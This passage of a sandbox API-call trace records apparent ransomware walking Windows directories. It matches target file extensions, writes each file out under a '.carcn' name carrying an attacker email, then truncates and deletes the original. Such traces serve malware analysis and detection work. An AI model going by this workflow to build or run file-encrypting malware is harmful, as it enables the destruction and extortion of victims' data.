[0184.584] lstrlenW (lpString=".doc") returned 4 [0184.584] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString=".docx") returned 5 [0184.584] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0184.584] lstrlenW (lpString=".pdf") returned 4 [0184.584] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString=".xls") returned 4 [0184.584] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0184.584] lstrlenW (lpString=".xlsx") returned 5 [0184.584] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0184.584] lstrlenW (lpString=".ppt") returned 4 [0184.584] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.585] lstrlenW (lpString=".zip") returned 4 [0184.585] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0184.585] lstrlenW (lpString=".rar") returned 4 [0184.585] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0184.585] lstrlenW (lpString=".bz2") returned 4 [0184.585] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0184.585] lstrlenW (lpString=".7z") returned 3 [0184.585] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0184.585] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.585] lstrlenW (lpString=".dbf") returned 4 [0184.585] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0184.585] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.585] lstrlenW (lpString=".1cd") returned 4 [0184.585] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0184.585] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.585] lstrlenW (lpString=".jpg") returned 4 [0184.585] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0184.585] lstrcmpiW (lpString1=".OLB", lpString2=".carcn") returned 1 [0184.585] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0184.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0184.586] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=15984) returned 1 [0184.586] CloseHandle (hObject=0x364) returned 1 [0184.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0184.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0184.586] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0184.586] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0184.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.587] GetLastError () returned 0x0 [0184.587] ReadFile (in: hFile=0x364, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x3e70, lpOverlapped=0x0) returned 1 [0184.601] WriteFile (in: hFile=0x360, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x3e80, lpOverlapped=0x0) returned 1 [0184.602] ReadFile (in: hFile=0x364, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0184.602] WriteFile (in: hFile=0x360, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xec, lpOverlapped=0x0) returned 1 [0184.602] SetEndOfFile (hFile=0x360) returned 1 [0184.602] CloseHandle (hObject=0x360) returned 1 [0184.603] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0184.603] SetEndOfFile (hFile=0x364) returned 1 [0184.604] CloseHandle (hObject=0x364) returned 1 [0184.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0184.604] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0184.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.604] lstrlenW (lpString=".doc") returned 4 [0184.604] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0184.604] lstrlenW (lpString=".docx") returned 5 [0184.604] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0184.604] lstrlenW (lpString=".pdf") returned 4 [0184.604] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0184.604] lstrlenW (lpString=".xls") returned 4 [0184.604] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0184.604] lstrlenW (lpString=".xlsx") returned 5 [0184.605] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0184.605] lstrlenW (lpString=".ppt") returned 4 [0184.605] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.605] lstrlenW (lpString=".zip") returned 4 [0184.605] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0184.605] lstrlenW (lpString=".rar") returned 4 [0184.605] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0184.605] lstrlenW (lpString=".bz2") returned 4 [0184.605] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0184.605] lstrlenW (lpString=".7z") returned 3 [0184.605] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.605] lstrlenW (lpString=".dbf") returned 4 [0184.605] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.605] lstrlenW (lpString=".1cd") returned 4 [0184.605] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.605] lstrlenW (lpString=".jpg") returned 4 [0184.605] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0184.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.605] lstrlenW (lpString=".doc") returned 4 [0184.605] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0184.605] lstrlenW (lpString=".docx") returned 5 [0184.605] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0184.605] lstrlenW (lpString=".pdf") returned 4 [0184.605] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0184.605] lstrlenW (lpString=".xls") returned 4 [0184.605] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0184.605] lstrlenW (lpString=".xlsx") returned 5 [0184.605] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0184.605] lstrlenW (lpString=".ppt") returned 4 [0184.606] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.606] lstrlenW (lpString=".zip") returned 4 [0184.606] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0184.606] lstrlenW (lpString=".rar") returned 4 [0184.606] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0184.606] lstrlenW (lpString=".bz2") returned 4 [0184.606] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0184.606] lstrlenW (lpString=".7z") returned 3 [0184.606] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.606] lstrlenW (lpString=".dbf") returned 4 [0184.606] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.606] lstrlenW (lpString=".1cd") returned 4 [0184.606] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0184.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0184.606] lstrlenW (lpString=".jpg") returned 4 [0184.606] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0184.606] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0184.606] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0184.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0184.606] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=18624) returned 1 [0184.607] CloseHandle (hObject=0x364) returned 1 [0184.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0184.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0184.607] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0184.607] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0184.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.607] GetLastError () returned 0x0 [0184.607] ReadFile (hFile=0x364, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0) Thread: id = 13 os_tid = 0xa70 [0157.928] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x86dc20 [0157.929] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3ad0048 [0157.929] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecb40 [0157.929] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x81d238 [0157.929] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecca8 [0157.929] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3bd6020 [0157.932] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecc48 [0157.932] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecc48, Size=0x20) returned 0x7cec80 [0157.932] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecd68 [0157.932] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecd68, Size=0x20) returned 0x7cea00 [0157.933] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.933] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.933] Wow64DisableWow64FsRedirection (in: OldValue=0x2feff50 | out: OldValue=0x2feff50*=0x0) returned 1 [0157.933] lstrlenW (lpString="kernel32.dll") returned 12 [0157.933] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.933] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.933] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.933] Sleep (dwMilliseconds=0x64) [0158.070] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0158.070] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0158.070] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.314] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=144072) returned 1 [0158.314] CloseHandle (hObject=0x2e8) returned 1 [0158.314] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0158.314] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.601] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0158.602] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0158.602] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0158.602] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0158.617] GetLastError () returned 0x0 [0158.617] ReadFile (in: hFile=0x2e0, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x232c8, lpOverlapped=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x2f4, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x232d0, lpOverlapped=0x0) returned 1 [0158.675] ReadFile (in: hFile=0x2e0, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0158.675] WriteFile (in: hFile=0x2f4, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0158.675] SetEndOfFile (hFile=0x2f4) returned 1 [0158.675] CloseHandle (hObject=0x2f4) returned 1 [0158.679] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0158.679] SetEndOfFile (hFile=0x2e0) returned 1 [0158.680] CloseHandle (hObject=0x2e0) returned 1 [0158.680] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.681] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0158.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.681] lstrlenW (lpString=".doc") returned 4 [0158.681] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".docx") returned 5 [0158.681] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0158.681] lstrlenW (lpString=".pdf") returned 4 [0158.681] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".xls") returned 4 [0158.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".xlsx") returned 5 [0158.681] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0158.681] lstrlenW (lpString=".ppt") returned 4 [0158.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.681] lstrlenW (lpString=".zip") returned 4 [0158.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".rar") returned 4 [0158.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".bz2") returned 4 [0158.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.681] lstrlenW (lpString=".7z") returned 3 [0158.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.681] lstrlenW (lpString=".dbf") returned 4 [0158.682] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.682] lstrlenW (lpString=".1cd") returned 4 [0158.682] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.682] lstrlenW (lpString=".jpg") returned 4 [0158.682] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.682] lstrlenW (lpString=".doc") returned 4 [0158.682] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".docx") returned 5 [0158.682] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0158.682] lstrlenW (lpString=".pdf") returned 4 [0158.682] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".xls") returned 4 [0158.682] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".xlsx") returned 5 [0158.682] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0158.682] lstrlenW (lpString=".ppt") returned 4 [0158.682] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.682] lstrlenW (lpString=".zip") returned 4 [0158.682] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".rar") returned 4 [0158.682] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".bz2") returned 4 [0158.682] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.682] lstrlenW (lpString=".7z") returned 3 [0158.682] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.682] lstrlenW (lpString=".dbf") returned 4 [0158.682] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.683] lstrlenW (lpString=".1cd") returned 4 [0158.683] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.683] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0158.683] lstrlenW (lpString=".jpg") returned 4 [0158.683] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.683] Sleep (dwMilliseconds=0x64) [0158.957] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0158.957] lstrlenW (lpString="SetupResources.dll") returned 18 [0158.957] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.957] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18264) returned 1 [0158.957] CloseHandle (hObject=0x300) returned 1 [0158.957] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0158.957] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.958] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0158.958] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0158.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0158.959] GetLastError () returned 0x0 [0158.959] ReadFile (in: hFile=0x300, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x4758, lpOverlapped=0x0) returned 1 [0159.132] WriteFile (in: hFile=0x2e0, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x4760, lpOverlapped=0x0) returned 1 [0159.133] ReadFile (in: hFile=0x300, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0159.133] WriteFile (in: hFile=0x2e0, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.133] SetEndOfFile (hFile=0x2e0) returned 1 [0159.133] CloseHandle (hObject=0x2e0) returned 1 [0159.134] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0159.134] SetEndOfFile (hFile=0x300) returned 1 [0159.135] CloseHandle (hObject=0x300) returned 1 [0159.135] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.136] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0159.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0159.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 